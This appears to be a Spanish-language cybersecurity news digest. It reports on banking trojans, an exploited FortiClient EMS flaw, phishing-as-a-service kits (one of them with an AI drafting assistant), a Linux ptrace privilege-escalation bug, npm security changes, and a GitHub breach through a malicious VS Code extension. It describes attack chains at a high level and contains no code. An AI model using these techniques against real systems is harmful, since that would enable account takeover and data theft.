Esto se desprende de nuevos hallazgos de WatchGuard y ESET, que han observado el uso de estas dos familias de malware para atacar a empresas en España, Portugal y México, así como a usuarios de móviles en Brasil.

Telefónica Tech también ha publicado un análisis técnico sobre las campañas recientes de Grandoreiro. El documento completo, disponible para descarga, detalla la cadena de infección del malware, sus mecanismos de evasión y las técnicas para mantener la comunicación con su infraestructura de mando y control.

La campaña Grandoreiro "utiliza la técnica de carga lateral de DLL, abusando de cuatro programas diferentes y apuntando a bancos en Portugal", afirmó Euler Neto, investigador de WatchGuard.

Activo desde 2016, Grandoreiro es un malware bancario en constante evolución capaz de robar credenciales de miles de instituciones financieras en 45 países y territorios. Generalmente se distribuye mediante correos electrónicos de phishing, incitando a los destinatarios a hacer clic en enlaces sospechosos.

A pesar de algunas detenciones e intentos de las autoridades brasileñas por desmantelar su infraestructura a principios de 2024, el malware ha seguido expandiendo su alcance, incorporando comprobaciones CAPTCHA para resistir el análisis.

La última campaña detectada por WatchGuard utiliza la carga lateral de DLL para ejecutar archivos desarrollados en Delphi 11, un lenguaje de programación comúnmente empleado por malware dirigido a la región. Dos de estas DLL —mingwm10.dll y libwebp.dll— incorporan sgcWebSockets, una biblioteca de WebSocket y comunicación en tiempo real, para comunicaciones punto a punto (P2P) y WebRTC.

"Las DLL asociadas a este caso utilizan el protocolo STUN (Session Traversal Utilities for NAT), que permite a los dispositivos detrás de un NAT descubrir su dirección IP pública y número de puerto, posibilitando la comunicación punto a punto", explicó WatchGuard. "La ventaja para los ciberdelincuentes de utilizar el tráfico de videoconferencias en sus campañas radica en que este tráfico es ruidoso, difícil de monitorizar y en que WebRTC se utiliza habitualmente en las principales plataformas de videoconferencias".

Otras dos DLL asociadas a la campaña son libffi-6.dll y libpng15.dll, que utilizan el protocolo ICE (Interactive Connectivity Establishment) en lugar de STUN para lograr el mismo objetivo. Estos archivos hacen referencia específica a bancos e instituciones financieras que operan en Portugal, como Abanca, Banco de Portugal, BBVA PT, Caixa Geral Depósitos y Santander, entre otros. También se ha atacado a Revolut y Wise.

WatchGuard también informó haber identificado otra campaña en la que se utilizan correos electrónicos de phishing para distribuir un archivo ZIP alojado en Mediafire. El archivo contiene un script de Visual Basic ofuscado que ejecuta un archivo ejecutable, el cual muestra un mensaje solicitando a los usuarios que actualicen Adobe Reader haciendo clic en un botón integrado en la alerta.

Al hacerlo, se activa una serie de comprobaciones destinadas a evitar la detección y dificultar el análisis del malware, antes de ejecutar la carga útil final para robar información bancaria y datos confidenciales. Algunas de las tácticas coinciden con una campaña anterior de Grandoreiro detallada por Kaspersky en octubre de 2024.

"Lo más relevante aquí no es solo que Grandoreiro siga activo", afirmó WatchGuard. "Es que los grupos de ciberdelincuentes con fines lucrativos continúan adaptándose rápidamente, reutilizando servicios legítimos y ocultándose en patrones de tráfico en los que muchas organizaciones ya confían".

"Al combinar phishing, carga lateral de DLL, componentes relacionados con WebRTC, abuso de servicios en la nube y comprobaciones anti-análisis, estas campañas demuestran cómo el malware bancario se está volviendo más difícil de detectar con defensas superficiales únicamente".

BTMOB ofrece herramientas de campaña listas para usar

La revelación coincide con un informe de ESET sobre BTMOB, un troyano de acceso remoto (RAT) para Android que surgió en febrero de 2025 con la capacidad de desbloquear dispositivos, capturar capturas de pantalla, registrar pulsaciones de teclas, automatizar el robo de credenciales mediante inyecciones HTML al abrir ciertas aplicaciones y habilitar el control remoto. Una versión posterior introdujo la capacidad de capturar PIN de Alipay.

"El RAT también se vende con una interfaz para crear APK, lo que permite a cualquiera generar nuevas cargas útiles y adaptar señuelos de phishing para regiones específicas con rapidez, y sin escribir código", afirmó Daniel Cunha Barbosa, investigador de ESET.

Las campañas de BTMOB se han observado principalmente en ataques en Brasil y Latinoamérica, pero la distribución basada en phishing y las capacidades de toma de control de dispositivos del malware, junto con las herramientas listas para usar para crear aplicaciones, lo convierten en una amenaza potente que plantea riesgos mucho más allá de la región y reduce el tiempo y el esfuerzo necesarios para comprometer completamente un dispositivo, advirtió la empresa de seguridad eslovaca.

El principal método de propagación del malware es la ingeniería social, mediante la cual se envían a los usuarios enlaces a sitios web falsos que se hacen pasar por servicios de streaming, plataformas de minería de criptomonedas y otros servicios en línea de confianza.

Desde esos sitios, las víctimas son redirigidas a fichas falsas de aplicaciones en Google Play Store que las engañan para instalar un archivo APK de Android que contiene el malware. Una vez instalado, el malware solicita permisos para usar los servicios de accesibilidad de Android y luego los aprovecha para obtener acceso adicional al sistema sin ninguna interacción del usuario.

Se cree que BTMOB es el sucesor de las familias CraxsRAT, CypherRAT y SpySolr. A mayo de 2026, la última versión del malware (BTMOB v4.5.5) afirmaba ofrecer protección APK mejorada y compatibilidad con las últimas actualizaciones de Google Play.

"Esta actualización se centra en la velocidad y la estabilidad", publicó un perfil X supuestamente vinculado al malware el 1 de mayo de 2026. "Hemos ampliado nuestra infraestructura y perfeccionado el generador para que siempre tengas acceso a los últimos parches de seguridad móvil".

El troyano es promocionado por un actor malicioso llamado EVLF (@craxso) a un precio de 700 dólares al mes. Según un vídeo de YouTube compartido por el autor del malware el 1 de mayo de 2026, una licencia de por vida cuesta 1200 dólares. El código fuente completo del servidor está disponible por 7000 dólares, lo que permite a los clientes alojar los paneles de comando y control (C2) en su propia infraestructura.

Esta misma semana, el perfil X también compartió un enlace a un artículo de Medium sobre "cómo el troyano BTMOB RAT está convirtiendo los teléfonos Android en armas teledirigidas" y cómo ha estado "evolucionando rápidamente" desde principios de 2025.

"Se infiltra a través de sitios de phishing, se apodera de los servicios de accesibilidad y convierte tu teléfono en una marioneta", dice el artículo. "Los hackers vigilan tu pantalla en tiempo real. Roban datos bancarios. Incluso minan criptomonedas en segundo plano mientras navegas por Instagram".

Curiosamente, el artículo fue publicado por una cuenta llamada "Desarrollador principal de CraxsRAT". La biografía de la cuenta afirma que se trata de un "ciberdelincuente hábil e ingenioso que creó una lucrativa empresa de ciberdelincuencia vendiendo malware RAT altamente avanzado a otros actores maliciosos".

El hecho de que BTMOB se venda bajo un modelo de malware como servicio (MaaS) conlleva el riesgo de facilitar el acceso a actores maliciosos menos sofisticados. Esto se ve agravado por informes que indican que ya circulan versiones filtradas en foros clandestinos y Telegram, lo que aumenta el riesgo de abuso por parte de imitadores y otros aspirantes a delincuentes.

"El acceso rara vez se mantiene restringido indefinidamente, y la herramienta puede llegar a mercados secundarios mediante la reventa, el trueque o el intercambio dentro de grupos cerrados", declaró ESET. "Otras familias de malware también pueden copiar algunos elementos que facilitan la personalización de la carga útil y la gestión de campañas para delincuentes menos experimentados".

La empresa italiana de ciberseguridad D3Lab, en un análisis del kit de desarrollo del troyano de acceso remoto BTMOB, filtrado y publicado en diciembre de 2025, afirmó que incluía el código fuente de la carga útil para Android, su instalador, un entorno de compilación, el panel de control para Windows, el servidor C2 y todas las dependencias de software necesarias para desplegar la plataforma.

"La filtración de BTMOB ofrece una perspectiva única sobre el funcionamiento interno de un ecosistema moderno de troyano de acceso remoto como servicio para Android", señaló D3Lab en aquel momento. "Demuestra que el atacante no opera simplemente como un desarrollador que vende un kit de herramientas, sino como un proveedor de servicios que impone licencias, autenticación y control de versiones a sus clientes".

Fuente: THN

Explotan una vulnerabilidad de FortiClient EMS para distribuir malware (CVE-2026-35616)

noreply@blogger.com (SSD) — Thu, 28 May 2026 19:25:26 -0300

Los delincuentes están explotando una vulnerabilidad de omisión de autenticación (CVE-2026-35616) en FortiClient Enterprise Management Server (EMS) para distribuir un programa de robo de credenciales no documentado llamado EKZ.

El atacante disfrazó el malware como una actualización para los endpoints de Fortinet y lo ejecutó mediante flujos de trabajo de scripts VPN gestionados por FortiClient.

La vulnerabilidad crítica explotada es un fallo de control de acceso inadecuado que permite a atacantes remotos no autenticados ejecutar código o comandos arbitrarios mediante solicitudes especialmente diseñadas. A principios de abril, Fortinet confirmó que estaba siendo explotado y publicó parches de emergencia para las versiones 7.4.5 y 7.4.6 del producto.

A principios de este mes, la empresa de ciberseguridad Arctic Wolf detectó ataques que aprovechaban esta vulnerabilidad para distribuir el programa de robo de información EKZ. Los investigadores señalan que la intrusión comienza con el abuso de las API de los endpoints para realizar acciones administrativas sin autenticación.

Posteriormente, el atacante modifica la configuración de EMS y las políticas de VPN para ejecutar scripts maliciosos. Segundos después de que los endpoints establecieran un túnel IPsec con un firewall FortiGate, el archivo legítimo fortitray.exe ejecuta scripts maliciosos a través del símbolo del sistema.

Estos scripts ejecutan una carga útil de PowerShell codificada en Base64 que descarga y ejecuta malware disfrazado de parche de Fortinet, para luego extraer datos a un VPS controlado por el atacante mediante HTTP.

"En lugar de utilizar un señuelo de malware genérico, la carga útil se presentó como una actualización de Fortinet y se ejecutó mediante flujos de trabajo de scripting VPN gestionados por FortiClient", indica el informe de Arctic Wolf. "En los puntos finales afectados, los componentes de FortiClient ejecutaron scripts de comandos que invocaron PowerShell, descargaron un programa para robar credenciales, lo ejecutaron silenciosamente y extrajeron los datos del navegador antes de eliminar los archivos locales".

La carga útil descargada, identificada como EKZ Infostealer, presenta una funcionalidad de robo de información bastante estándar. Ataca tanto navegadores web basados en Chromium como Firefox y extrae los datos almacenados en archivos de texto, eludiendo las protecciones de contraseña cifrada.

El malware ataca credenciales, datos de tarjetas de crédito, direcciones, números de teléfono y cookies, lo que permite acceder a cuentas protegidas por autenticación multifactor sin iniciar sesión.

Según Arctic Wolf, un indicio de un intento de explotación en ataques que distribuyen el infostealer EKZ es la presencia en los registros de la línea "Certificate not found in request header". En pruebas de laboratorio, este error fue seguido, segundos después, por otra entrada: "Certificate user: fortinet-ca2 … successfully updated".

Por lo tanto, los investigadores recomiendan que los responsables de seguridad busquen anomalías en la autenticación de certificados y cambios inesperados en las configuraciones del perfil de acceso remoto.

Cualquier actividad administrativa sospechosa, como nuevas cuentas, inicios de sesión con un origen desconocido (Tor, direcciones IP de VPS) o acciones que provoquen cambios de configuración, debe considerarse una señal de alerta.

El informe de Arctic Wolf proporciona una guía de detección exhaustiva que podría ayudar a las organizaciones a prevenir los ataques observados.

Fuente: BC

Microsoft Defender aisla automáticamente los endpoints infectados

noreply@blogger.com (SSD) — Wed, 27 May 2026 11:49:57 -0300

Microsoft está probando una nueva función de Defender for Endpoint que aislará automáticamente los dispositivos comprometidos para frustrar los intentos de los atacantes de propagarse lateralmente por la red.

Esta función ya está disponible en versión preliminar y forma parte de la interrupción automática de ataques, una característica diseñada para contener los ataques, limitar su impacto y brindar a los equipos de seguridad más tiempo para solucionarlos.

Los dispositivos comprometidos que se aíslan automáticamente se desconectan de la red para reducir el riesgo de un mayor impacto, pero mantienen la conectividad con el servicio Microsoft Defender for Endpoint, que seguirá supervisando el dispositivo.

"Cuando se sospecha que un dispositivo de su organización está comprometido, Microsoft Defender for Endpoint puede aislarlo automáticamente como parte de la interrupción automática de ataques", declaró Microsoft.

El aislamiento automático ayuda a reducir el riesgo de un mayor impacto en la organización, limita el movimiento lateral del atacante y previene impactos como la exfiltración de datos y la propagación de ransomware.

El aislamiento automático de dispositivos solo funciona en estaciones de trabajo de usuarios finales incorporadas y administradas por Microsoft Defender for Endpoint.

Como explicó Microsoft, los operadores de seguridad también pueden liberarlas del aislamiento en cualquier momento después de completar la investigación del incidente y mitigar los riesgos.

Para liberar un dispositivo del aislamiento automático, selecciónelo en el "Inventario de dispositivos" o abra la página del dispositivo y seleccione "Liberar del aislamiento" en el menú de acciones.

Hace casi cuatro años, en junio de 2022, Microsoft también anunció que los administradores podían aislar manualmente los dispositivos Windows comprometidos y no administrados interrumpiendo la comunicación entrante y saliente con los puntos finales incorporados a Defender for Endpoint.

Microsoft también comenzó a probar la compatibilidad con el aislamiento de dispositivos para Defender for Endpoint en dispositivos Linux integrados en enero de 2023, y esta funcionalidad estuvo disponible para el público general en octubre de 2023.

Ese mismo mes, reveló que Defender for Endpoint también podía aislar las cuentas de usuario comprometidas como parte de la interrupción automática de ataques para bloquear el movimiento lateral en ataques de ransomware que utilizan el teclado.

Más recientemente, Microsoft comenzó a probar otra nueva función para la plataforma de seguridad empresarial Defender for Endpoint que bloquea automáticamente el tráfico hacia y desde terminales Windows no detectados, impidiendo que los atacantes accedan a otros dispositivos no comprometidos en la red.

A principios de este mes, reveló otra función de vista previa de Defender for Endpoint que permitirá a los administradores programar análisis antivirus en sistemas Linux incorporados mediante el portal de Microsoft Defender, la configuración JSON administrada por mdatp o la herramienta de línea de comandos mdatp.

"Los análisis programados admiten análisis rápidos diarios, análisis rápidos basados en intervalos y análisis completos semanales, con opciones para ejecución de baja prioridad, programación en tiempo de inactividad y horarios de inicio aleatorios", indicó.

Fuente: BC

Bluekit: phishing personalizado con IA

noreply@blogger.com (SSD) — Tue, 26 May 2026 09:21:00 -0300

Un nuevo kit de phishing llamado Bluekit ofrece más de 40 plantillas dirigidas a servicios populares e incluye funciones básicas de IA para generar borradores de campañas.

Las plantillas disponibles se pueden usar para atacar cuentas de correo electrónico (Outlook, Hotmail, Gmail, Yahoo, ProtonMail), servicios en la nube (iCloud), plataformas de desarrollo (GitHub) y servicios de criptomonedas (Ledger).

Lo que distingue a este kit es la presencia de un panel de Asistente de IA que admite múltiples modelos, incluidos Llama, GPT-4.1, Claude, Gemini y DeepSeek, lo que ayuda a los ciberdelincuentes a redactar correos electrónicos de phishing.

La empresa de ciberseguridad Varonis analizó una versión limitada del panel de Asistente de IA de Bluekit y señaló que los resultados generados presentaban contenido de marcador de posición, lo que sugiere que se trata de una función en una fase experimental temprana. "El borrador [generado] incluía una estructura útil, pero aún dependía de campos de enlace genéricos, bloques QR de marcador de posición y texto que requería revisión antes de su uso", afirma Varonis.

Además de la inteligencia artificial, BlueKit integra la compra/registro de dominios, la configuración de páginas de phishing y la gestión de campañas en un único panel. "El Asistente de IA de Bluekit parecía más una herramienta para generar el esqueleto de una campaña que un flujo de phishing completo".

Varonis analizó plantillas para iCloud, Apple ID, Gmail, Outlook, Hotmail, Yahoo, ProtonMail, GitHub, Twitter, Zoho, Zara y Ledger, con diseños y logotipos realistas. Los operadores pueden seleccionar dominios, plantillas y modos en una interfaz unificada, configurar el comportamiento de la página de phishing (como redirecciones, mecanismos anti-análisis y gestión del proceso de inicio de sesión) y monitorizar las sesiones de las víctimas en tiempo real.

Según las opciones del panel de control, los usuarios tienen un control preciso sobre el comportamiento de las páginas de phishing y pueden bloquear el tráfico VPN o proxy, los agentes de usuario sin interfaz gráfica o configurar filtros basados en huellas digitales. Los datos robados se extraen a través de Telegram, en canales privados accesibles para los operadores.

El monitoreo de la sesión posterior a la captura incluye cookies, almacenamiento local y estado de la sesión en tiempo real, mostrando lo que la víctima recibió tras iniciar sesión, lo que ayuda a los operadores a perfeccionar sus ataques para lograr la máxima efectividad.

Varonis comenta que Bluekit es otro ejemplo de una plataforma de phishing "todo en uno", que proporciona a los ciberdelincuentes de menor nivel herramientas completas para gestionar todo el ciclo de vida de un ataque de phishing.

Sin embargo, el kit parece estar actualmente en desarrollo activo, recibiendo actualizaciones frecuentes y evolucionando rápidamente, lo que lo convierte en un buen candidato para una mayor adopción.

Esto refuerza la tendencia general de las plataformas de ciberdelincuencia a integrar la IA para optimizar y escalar sus operaciones. Abnormal Security informó recientemente sobre ATHR, una plataforma de phishing por voz que utiliza agentes de IA para realizar ataques de ingeniería social.

Fuente: BC

Escalamiento de privilegios local en el kernel de Linux, permite filtrar claves SSH y hashes de contraseñas

noreply@blogger.com (SSD) — Mon, 25 May 2026 14:37:00 -0300

Se ha descubierto una vulnerabilidad lógica de nueve años de antigüedad en la ruta de rastreo de procesos (ptrace) del kernel de Linux que podría permitir a usuarios locales sin privilegios leer archivos confidenciales, incluidas las claves privadas de host de shell seguro (SSH) y el hash de la contraseña del sistema, en instalaciones predeterminadas de Debian, Fedora y Ubuntu.

Según el análisis de la Unidad de Investigación de Amenazas (TRU) de Qualys, la vulnerabilidad, identificada como CVE-2026-46333, ha estado presente en la rama principal de Linux desde noviembre de 2016. Hay parches disponibles y actualizaciones de distribución, y circulan públicamente exploits funcionales.

Esta vulnerabilidad es el quinto problema de seguridad local del kernel de Linux revelado en tres semanas, tras Copy Fail, Dirty Frag, Fragnesia y DirtyCBC.

El error reside en la función __ptrace_may_access() del kernel. Qualys identificó una ventana de tiempo limitada durante la cual un proceso privilegiado que está descartando sus credenciales permanece accesible mediante operaciones ptrace, incluso cuando su bandera de volcado debería haber cerrado esa ruta.

Al combinar esta ventana con la llamada al sistema pidfd_getfd(), un atacante puede capturar descriptores de archivo de un binario setuid durante su salida y heredar su acceso a los archivos subyacentes. pidfd_getfd() se añadió al kernel en enero de 2020, lo que amplió el alcance práctico de la vulnerabilidad anterior.

La prueba de concepto (PoC) desarrollada por Qualys se dirige a ssh-keysign, un binario setuid que mantiene abiertas brevemente las claves privadas del host SSH durante la firma de autenticación. Una segunda variante se dirige a chage, robando el identificador abierto de /etc/shadow y exponiendo el hash de la contraseña de cada usuario en el host.

Qualys también desarrolló exploits funcionales contra pkexec y accounts-daemon, pero no los hizo públicos durante el período de divulgación coordinada. Saeed Abbasi afirmó que la técnica "convierte cualquier shell local en una vía de acceso a root o a información confidencial".

Los cuatro exploits desarrollados por Qualys abarcan diversos impactos. Los exploits chage y ssh-keysign permiten la divulgación de información, mientras que pkexec y accounts-daemon permiten al atacante ejecutar comandos arbitrarios como root.

CVSS calificó el fallo con un 5.5, pero Qualys argumentó que la distinción entre un acceso no privilegiado y el compromiso total del sistema se desvanece en la práctica, ya que los archivos divulgados por sí solos son suficientes para tomar el control del sistema.

El perfil de riesgo es más pronunciado en entornos donde las shells sin privilegios están disponibles habitualmente para terceros no confiables, como en alojamientos compartidos y ejecutores de CI multiusuario.

Los administradores deben aplicar la actualización del kernel del proveedor para su distribución sin demora. Como medida provisional, tanto Ubuntu como Qualys recomiendan aumentar el valor de `kernel.yama.ptrace_scope` a 2 mediante `sysctl`, lo que restringe la conexión de ptrace a CAP_SYS_PTRACE y bloquea la ruta de explotación pública, aunque esto interrumpe los flujos de trabajo de depuración sin privilegios.

Fuente: InfoSecurity-Magazine

Advierten sobre el servicio de phishing Kali365 que ataca las cuentas de Microsoft 365

noreply@blogger.com (SSD) — Mon, 25 May 2026 10:13:04 -0300

El FBI advierte sobre Kali365, una plataforma de phishing como servicio (PhaaS) utilizada para secuestrar cuentas de Microsoft 365 mediante el abuso de la autenticación de código de dispositivo OAuth, robando tokens de sesión y eludiendo la autenticación multifactor (MFA).

Según el comunicado del FBI y la empresa ArticWolf, Kali365 surgió en abril de 2026 y se distribuye a través de canales de Telegram para ciberdelincuentes que buscan una forma más sencilla de comprometer cuentas de Microsoft 365 sin robar contraseñas ni interceptar códigos MFA.

La plataforma utiliza el phishing de código de dispositivo, un método cada vez más popular que abusa del flujo legítimo de autorización de dispositivos OAuth 2.0 de Microsoft para obtener acceso a cuentas de Microsoft Entra y Microsoft 365.

Este método de autenticación se creó para permitir que dispositivos con capacidades de entrada limitadas, como televisores inteligentes, sistemas de salas de conferencias, dispositivos de transmisión, impresoras y dispositivos IoT, se autentiquen a través de otro dispositivo mediante un código corto en el portal de inicio de sesión de código de dispositivo de Microsoft: http://microsoft.com/devicelogin.

En febrero, BleepingComputer informó que grupos de extorsionadores, incluido el grupo de ciberdelincuentes ShinyHunters, estaban atacando las cuentas de Microsoft Entra mediante phishing de código de dispositivo y de voz.

A principios de abril de 2026, de forma similar a la campaña generalizada "Riding the Rails", detectada por primera vez a finales de marzo por Huntress, se observó que los ciberdelincuentes abusaban del flujo de códigos de dispositivo OAuth para engañar a las víctimas, obtener códigos de autenticación y conseguir acceso inicial a sus entornos.

En estos ataques, los ciberdelincuentes inician el proceso de autorización del dispositivo para generar un código y luego engañan a las víctimas para que lo ingresen en la página de inicio de sesión de Microsoft mediante phishing e ingeniería social.

Una vez que la víctima introduce el código y completa la autenticación multifactor (MFA), Microsoft emite un token de acceso OAuth que otorga al atacante acceso completo a su cuenta sin necesidad de que resuelva ningún desafío de MFA. Los atacantes ahora tienen acceso completo a todas las aplicaciones a las que el usuario normalmente accede a través de su cuenta de inicio de sesión único, incluyendo Microsoft 365, Salesforce o cualquier otra plataforma SaaS en la nube, que luego utilizan para robar datos.

El FBI advierte que Kali365 proporciona incluso a atacantes con poca experiencia acceso a capacidades avanzadas de phishing, incluyendo señuelos de phishing generados por IA, plantillas de campaña automatizadas, paneles de seguimiento de víctimas en tiempo real y funcionalidad de captura de tokens.

Investigadores de seguridad de Arctic Wolf informaron sobre la actividad de Kali365 en abril tras observar una campaña generalizada dirigida a organizaciones de todo el mundo. Los investigadores indicaron que las campañas se dirigían principalmente a entornos de Microsoft 365 mediante correos electrónicos de phishing que dirigían a las víctimas al portal de inicio de sesión con código de dispositivo de Microsoft, donde, sin saberlo, autorizaban a los atacantes a acceder a sus cuentas.

Los investigadores afirmaron que los ataques resultantes permitieron a los atacantes acceder a los buzones de correo, donde crearon reglas maliciosas para ocultar su actividad. En algunos ataques, los atacantes también registraron nuevos dispositivos en los entornos de Microsoft de las víctimas, ampliando así su acceso a la red comprometida.

Arctic Wolf descubrió que Kali365 opera como una empresa, con administradores que gestionan el desarrollo del producto, revendedores que promocionan el servicio entre otros ciberdelincuentes y afiliados que realizan ataques de phishing.

Los investigadores señalan que la plataforma ofrece dos modos de ataque distintos: el primero es el phishing mediante código de dispositivo y el segundo es un modo de ataque de intermediario (AitM) denominado "Cookie Link".

Cookie Link actúa como proxy para las víctimas a través de una infraestructura controlada por el atacante que captura las sesiones de navegador autenticadas, las cookies de sesión y los tokens después de que las víctimas inicien sesión y resuelvan los desafíos de autenticación multifactor (MFA).

El FBI recomienda a las empresas restringir o bloquear por completo los flujos de autenticación mediante código de dispositivo utilizando políticas de acceso condicional siempre que sea posible, auditar el uso actual del código de dispositivo y bloquear las políticas de transferencia de autenticación que permiten que las sesiones de autenticación se muevan entre dispositivos.

El phishing mediante código de dispositivo se ha generalizado en 2026, y otros ciberdelincuentes y plataformas lo utilizan ahora como parte de sus campañas y ataques de phishing.

Esta adopción incluye a EvilTokens PhaaS y Tycoon2FA, que también lo utilizan para comprometer cuentas de Microsoft 365 y Entra.

Fuente: BC

NPM añade autenticación 2FA para protegerse contra ataques a la cadena de suministro

noreply@blogger.com (SSD) — Sun, 24 May 2026 09:42:00 -0300

GitHub ha implementado nuevos controles para NPM con el fin de mejorar la seguridad de la cadena de suministro de software, permitiendo a los mantenedores aprobar explícitamente una versión antes de que los paquetes estén disponibles públicamente para su instalación.

Esta función, denominada publicación por etapas, ya está disponible para todos en npm. Requiere que un mantenedor humano complete una autenticación de dos factores (2FA) para aprobar un paquete antes de que se publique en npmjs[.]com. "En lugar de una publicación directa que pone inmediatamente una versión del paquete a disposición de los usuarios, el archivo tarball precompilado se carga en una cola de preparación donde un mantenedor debe aprobarlo explícitamente antes de que se pueda instalar", explicó GitHub.

La filial propiedad de Microsoft afirmó que este cambio garantiza la "prueba de presencia" para cada publicación, incluidas aquellas que provienen de flujos de trabajo de CI/CD no interactivos y la publicación de confianza con autenticación OpenID Connect (OIDC).

Antes de usar la publicación por etapas, los responsables del paquete deben cumplir los siguientes requisitos:

Tener permisos de publicación para el paquete.
El paquete ya debe existir en el registro de npm; es decir, no se puede publicar un paquete nuevo en el área de preparación.
La autenticación de dos factores (2FA) debe estar habilitada para la cuenta.

Los desarrolladores pueden usar el comando npm stage publish desde el directorio raíz del paquete para enviarlo a un área de preparación. Para usar este comando, es esencial actualizar a la versión 11.15.0 o posterior de la CLI de npm. Para una protección óptima, GitHub recomienda combinar la publicación por etapas con la publicación segura mediante OIDC.

Una segunda actualización centrada en npm introduce tres nuevas opciones de instalación, además de la opción --allow-git ya existente:

--allow-file: Controla las instalaciones desde rutas de archivo locales y archivos tar locales.
--allow-remote: Controla las instalaciones desde URL remotas, incluyendo archivos tar HTTPS.
--allow-directory: Controla las instalaciones desde directorios locales.

Según GitHub, estas opciones permiten a los desarrolladores aplicar el mismo enfoque de lista de permitidos explícita a cualquier fuente de instalación que no sea el registro.

Este desarrollo se produce en medio de un aumento masivo de ataques a la cadena de suministro de software dirigidos a ecosistemas de código abierto en los últimos meses. Un grupo ciberdelincuente conocido como TeamPCP se ha dedicado a envenenar paquetes populares a una escala sin precedentes mediante un ciclo de vulneraciones que se perpetúa a sí mismo.

Fuente: THN

Claude Mythos encuentra 6.000 fallos de alta gravedad en software de uso generalizado.

noreply@blogger.com (SSD) — Sat, 23 May 2026 12:04:41 -0300

Anthropic reveló el viernes que el Proyecto Glasswing ha ayudado a descubrir más de 10.000 vulnerabilidades de alta o crítica gravedad en algunos de los programas informáticos más importantes a nivel mundial desde que la iniciativa de ciberseguridad se puso en marcha el mes pasado.

El Proyecto Glasswing es un esfuerzo liderado por la empresa de inteligencia artificial (IA), en el que un pequeño grupo de aproximadamente 50 socios ha obtenido acceso a Claude Mythos Preview, un modelo de vanguardia con capacidad para encontrar vulnerabilidades en software de uso generalizado.

De estas vulnerabilidades, 6.202 se han clasificado como fallos de alta o crítica gravedad que afectan a más de 1.000 proyectos de código abierto. El análisis posterior de estas vulnerabilidades candidatas ha identificado 1.726 como verdaderos positivos válidos. Se ha evaluado que hasta 1.094 fallos son de alta o crítica gravedad.

Una de las debilidades identificadas es una falla crítica en WolfSSL (CVE-2026-5194, CVSS: 9.1) que podría permitir a un atacante falsificar certificados y hacerse pasar por un servicio legítimo. En total, estos esfuerzos han dado como resultado la corrección de 97 vulnerabilidades y la emisión de 88 avisos de seguridad.

"La relativa facilidad para encontrar vulnerabilidades, en comparación con la dificultad para corregirlas, representa un gran desafío para la ciberseguridad", reconoció Anthropic. "Superar este desafío con éxito hará que nuestro software sea mucho más seguro que antes".

Este avance se produce en un momento en que los proveedores de software están lanzando más correcciones que nunca, impulsados por un aumento en la detección de vulnerabilidades asistida por IA. Microsoft señala que el número de nuevos parches que espera lanzar mensualmente "seguirá aumentando durante algún tiempo".

La plataforma autónoma de seguridad ofensiva XBOW ha descrito Mythos Preview como "un gran avance y es sustancialmente mejor que los modelos anteriores para encontrar posibles vulnerabilidades" y "experto en analizar el código fuente con una mentalidad de seguridad". Análisis recientes también han demostrado que el modelo sobresale en convertir las vulnerabilidades en cadenas de ataque de extremo a extremo.

Anthropic añadió que la utilidad de Mythos Preview va más allá de la detección de fallos de seguridad. En un caso, un banco asociado a Glasswing habría utilizado el modelo de IA para detectar y prevenir una transferencia bancaria fraudulenta de 1,5 millones de dólares después de que un atacante desconocido accediera a la cuenta de correo electrónico de un cliente y realizara llamadas telefónicas fraudulentas.

Dado que modelos con capacidades similares a las de Mythos podrían estar ampliamente disponibles en un futuro próximo, Anthropic insta a los desarrolladores de software a acortar sus ciclos de parches y a publicar las correcciones de seguridad lo antes posible. Cabe mencionar que Oracle ha adoptado recientemente un ciclo de parches mensual para abordar problemas de seguridad críticos.

"Los responsables de la seguridad de las redes deberían acortar los plazos de prueba e implementación de parches", afirmó Anthropic. "Esto incluye medidas como reforzar las configuraciones predeterminadas de las redes, implementar la autenticación multifactor y mantener registros exhaustivos para la detección y respuesta".

La empresa de IA también anunció el lanzamiento de un Programa de Verificación Cibernética que permite a los profesionales de la seguridad utilizar sus modelos sin restricciones para fines legítimos, como la investigación de vulnerabilidades, las pruebas de penetración y los ejercicios de simulación de ataques (red teaming). Este programa es similar a Daybreak de OpenAI, que también permite a los defensores aprovechar GPT-5.5-Cyber para flujos de trabajo especializados.

Modelos como Mythos Preview y GPT-5.5-Cyber aún no se han lanzado al público debido a la preocupación por la falta de medidas de seguridad adecuadas para prevenir su uso indebido a gran escala.

Fuente: THN

GitHub confirma la violación de 3.800 repositorios mediante una extensión maliciosa VSCode

noreply@blogger.com (SSD) — Fri, 22 May 2026 13:30:00 -0300

GitHub ha confirmado que aproximadamente 3.800 repositorios internos fueron vulnerados después de que uno de sus empleados instalara una extensión maliciosa de VS Code. Desde entonces, la compañía eliminó la extensión troyanizada sin nombre del mercado de VS Code y aseguró el dispositivo comprometido.

"Ayer detectamos y contuvimos un dispositivo comprometido de un empleado que involucraba una extensión VS Code envenenada. Eliminamos la versión de la extensión maliciosa, aislamos el punto final y comenzamos a responder al incidente de inmediato", dijo la compañía. "Nuestra evaluación actual es que la actividad implicó la exfiltración de repositorios internos de GitHub únicamente. Las afirmaciones actuales del atacante de ~3.800 repositorios son direccionalmente consistentes con nuestra investigación hasta el momento".

Esto se produce después de que GitHub dijera el martes por la noche que estaba investigando reclamos de acceso no autorizado a sus repositorios internos y agregó que no tiene evidencia de que los datos de los clientes almacenados fuera de los repositorios afectados se hayan visto afectados.

Si bien GitHub aún no ha atribuido la infracción, el grupo de hackers TeamPCP reclamó acceso al código fuente de GitHub y "~4.000 repositorios de código privado" en el foro de cibercrimen Breached el martes, pidiendo al menos 50.000 dólares por los datos robados.

TeamPCP estuvo vinculado anteriormente a ataques masivos a la cadena de suministro dirigidos a plataformas de código de desarrollador, incluidas GitHub, PyPI, NPM, and Docker, y, más recientemente, a la campaña de la cadena de suministro "Mini Shai-Hulud" (que también afectó a dos empleados de OpenAI).

Las extensiones de VS Code son complementos que se pueden instalar desde VS Code Marketplace (la tienda oficial de complementos para el editor de código de Microsoft) para agregar funciones o integrar herramientas en el editor.

Esta no es la primera vez que se detecta en el mercado una extensión VS Code troyanizada, ya que en los últimos años se han utilizado muchas otras extensiones maliciosas con millones de instalaciones para robar credenciales de desarrollador y otros datos confidenciales.

Por ejemplo, el año pasado, las extensiones VSCode con 9 millones de instalaciones fueron retiradas por riesgos de seguridad, y 10 más, haciéndose pasar por herramientas de desarrollo legítimas, infectaron a los usuarios con el criptominero XMRig.

Más adelante en el año, una extensión maliciosa con capacidades básicas de ransomware se coló en el mercado de VS Code después de que un actor de amenazas llamado WhiteCobra lo inundara con 24 extensiones de robo de criptomonedas.

